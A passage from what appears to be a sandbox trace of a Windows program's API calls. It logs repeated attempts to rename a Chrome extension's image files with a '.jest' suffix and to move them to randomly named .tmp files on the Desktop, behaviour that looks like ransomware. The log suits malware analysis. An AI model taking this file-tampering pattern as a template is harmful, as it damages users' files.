nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", lpFilePart=0x18e708*="icon_128.png") returned 0x95 [0150.198] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uKbe18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ukbe18xicrlckwmd2r_5ipa hn25kmdm_xzb-hoslflsegvnurjreoa5d6k4g3bpla507nbln5pt3kcpgd1iyq4qga nccp6vboy5.tmp")) returned 0 [0150.198] GetLastError () returned 0x2 [0150.198] GetLastError () returned 0x2 [0150.198] SetLastError (dwErrCode=0x2) [0150.198] GetLastError () returned 0x2 [0150.198] SetLastError (dwErrCode=0x2) [0150.198] GetLastError () returned 0x2 [0150.198] SetLastError (dwErrCode=0x2) [0150.198] GetFullPathNameA (in: lpFileName="uKbe18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uKbe18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp", lpFilePart=0x18e6e4*="uKbe18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp") returned 0x8f [0150.198] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uKbe18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x65624b75, cFileName="18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.199] GetLastError () returned 0x2 [0150.199] GetLastError () returned 0x2 [0150.199] SetLastError (dwErrCode=0x2) [0150.199] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.199] CoFreeUnusedLibraries () [0150.199] GetTickCount () returned 0x1157530 [0150.199] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.199] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.199] GetTickCount () returned 0x1157530 [0150.200] IsWindowVisible (hWnd=0x30268) returned 0 [0150.200] Sleep (dwMilliseconds=0x0) [0150.200] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.jest")) returned 1 [0150.201] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", lpFilePart=0x18e6d8*="icon_16.png") returned 0x94 [0150.201] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x6000006, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439850, ftLastAccessTime.dwLowDateTime=0x144dfb0, ftLastAccessTime.dwHighDateTime=0x1438f78, ftLastWriteTime.dwLowDateTime=0x30, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.201] GetLastError () returned 0x2 [0150.202] VarBstrFromR4 (in: fltIn=0x47944ff1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.88") returned 0x0 [0150.202] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.202] CoFreeUnusedLibraries () [0150.202] GetTickCount () returned 0x1157530 [0150.202] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.202] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.202] GetTickCount () returned 0x1157530 [0150.202] IsWindowVisible (hWnd=0x30268) returned 0 [0150.202] Sleep (dwMilliseconds=0x0) [0150.203] GetFullPathNameA (in: lpFileName="kyuuRJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kyuuRJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp", lpFilePart=0x18e708*="kyuuRJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp") returned 0x8c [0150.203] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", lpFilePart=0x18e708*="icon_16.png") returned 0x94 [0150.203] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kyuuRJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kyuurjn rvipcedfz8m1jckotrshes6x415vyj-utt7bel s2wltdyqsrmfxhknfjnitlvzbmxmsi9osvvd5kyl4mi_qgdynh .tmp")) returned 0 [0150.203] GetLastError () returned 0x2 [0150.203] GetLastError () returned 0x2 [0150.203] SetLastError (dwErrCode=0x2) [0150.203] GetLastError () returned 0x2 [0150.204] SetLastError (dwErrCode=0x2) [0150.204] GetLastError () returned 0x2 [0150.204] SetLastError (dwErrCode=0x2) [0150.204] GetFullPathNameA (in: lpFileName="kyuuRJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kyuuRJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp", lpFilePart=0x18e6e4*="kyuuRJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp") returned 0x8c [0150.204] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kyuuRJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7575796b, cFileName="RJn rvipCEdfz8M1JckotrsHEs6X415Vyj-utT7bEl S2wltdYQSRMFXhkNFJnITLVzbmxMsI9oSvVD5Kyl4MI_qgdyNh .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.204] GetLastError () returned 0x2 [0150.204] GetLastError () returned 0x2 [0150.204] SetLastError (dwErrCode=0x2) [0150.205] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.205] CoFreeUnusedLibraries () [0150.205] GetTickCount () returned 0x1157530 [0150.205] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.205] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.205] GetTickCount () returned 0x1157530 [0150.205] IsWindowVisible (hWnd=0x30268) returned 0 [0150.205] Sleep (dwMilliseconds=0x0) [0150.205] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.jest")) returned 1 [0150.206] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", lpFilePart=0x18e6d8*="topbar_floating_button.png") returned 0xa3 [0150.206] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xa00000a, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c988, ftLastAccessTime.dwLowDateTime=0x14cf318, ftLastAccessTime.dwHighDateTime=0x14b2b68, ftLastWriteTime.dwLowDateTime=0x50, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.206] GetLastError () returned 0x2 [0150.207] VarBstrFromR4 (in: fltIn=0x47944ff3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.9") returned 0x0 [0150.207] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.207] CoFreeUnusedLibraries () [0150.207] GetTickCount () returned 0x1157540 [0150.207] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.207] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.207] GetTickCount () returned 0x1157540 [0150.207] IsWindowVisible (hWnd=0x30268) returned 0 [0150.207] Sleep (dwMilliseconds=0x0) [0150.208] GetFullPathNameA (in: lpFileName="7DQ_dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7DQ_dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp", lpFilePart=0x18e708*="7DQ_dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp") returned 0x8e [0150.208] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", lpFilePart=0x18e708*="topbar_floating_button.png") returned 0xa3 [0150.209] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7DQ_dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7dq_dlnjx--gwjinwxw6dhy20xwctsgk3wk8qqubjerr55rwlzbyluiuwydf5m9d-jr2du2ixwp3n5b-ysjvgyz-j9j2t7jroxfr.tmp")) returned 0 [0150.209] GetLastError () returned 0x2 [0150.209] GetLastError () returned 0x2 [0150.209] SetLastError (dwErrCode=0x2) [0150.209] GetLastError () returned 0x2 [0150.209] SetLastError (dwErrCode=0x2) [0150.209] GetLastError () returned 0x2 [0150.209] SetLastError (dwErrCode=0x2) [0150.209] GetFullPathNameA (in: lpFileName="7DQ_dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7DQ_dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp", lpFilePart=0x18e6e4*="7DQ_dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp") returned 0x8e [0150.209] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7DQ_dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5f514437, cFileName="dLNJx--GwJinWxW6dHy20xWcTsGK3wK8qQUbJErr55RwLZByLuiuWYdf5m9d-jr2DU2IxWP3n5b-YsjVGyz-J9J2T7jRoXfr.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.210] GetLastError () returned 0x2 [0150.210] GetLastError () returned 0x2 [0150.210] SetLastError (dwErrCode=0x2) [0150.210] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.210] CoFreeUnusedLibraries () [0150.210] GetTickCount () returned 0x1157540 [0150.210] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.210] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.210] GetTickCount () returned 0x1157540 [0150.211] IsWindowVisible (hWnd=0x30268) returned 0 [0150.211] Sleep (dwMilliseconds=0x0) [0150.211] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.jest")) returned 1 [0150.212] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", lpFilePart=0x18e6d8*="topbar_floating_button_close.png") returned 0xa9 [0150.212] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x9000009, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ee60, ftLastAccessTime.dwLowDateTime=0x146c990, ftLastAccessTime.dwHighDateTime=0x1474ef8, ftLastWriteTime.dwLowDateTime=0x48, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.212] GetLastError () returned 0x2 [0150.212] VarBstrFromR4 (in: fltIn=0x47944ff3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.9") returned 0x0 [0150.212] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.213] CoFreeUnusedLibraries () [0150.213] GetTickCount () returned 0x1157540 [0150.213] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.213] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.213] GetTickCount () returned 0x1157540 [0150.213] IsWindowVisible (hWnd=0x30268) returned 0 [0150.213] Sleep (dwMilliseconds=0x0) [0150.213] GetFullPathNameA (in: lpFileName="RnZC 8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RnZC 8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp", lpFilePart=0x18e708*="RnZC 8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp") returned 0x8e [0150.213] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", lpFilePart=0x18e708*="topbar_floating_button_close.png") returned 0xa9 [0150.214] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RnZC 8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rnzc 8qrwdlimeschab6iakvimmjrxmwwpnzx9yp_mehotoqumtcsgiz207mlox6lh7hvso9iogh4dm2tswsqej6f37lw3ej8okk.tmp")) returned 0 [0150.214] GetLastError () returned 0x2 [0150.214] GetLastError () returned 0x2 [0150.214] SetLastError (dwErrCode=0x2) [0150.214] GetLastError () returned 0x2 [0150.214] SetLastError (dwErrCode=0x2) [0150.214] GetLastError () returned 0x2 [0150.214] SetLastError (dwErrCode=0x2) [0150.214] GetFullPathNameA (in: lpFileName="RnZC 8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RnZC 8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp", lpFilePart=0x18e6e4*="RnZC 8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp") returned 0x8e [0150.214] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RnZC 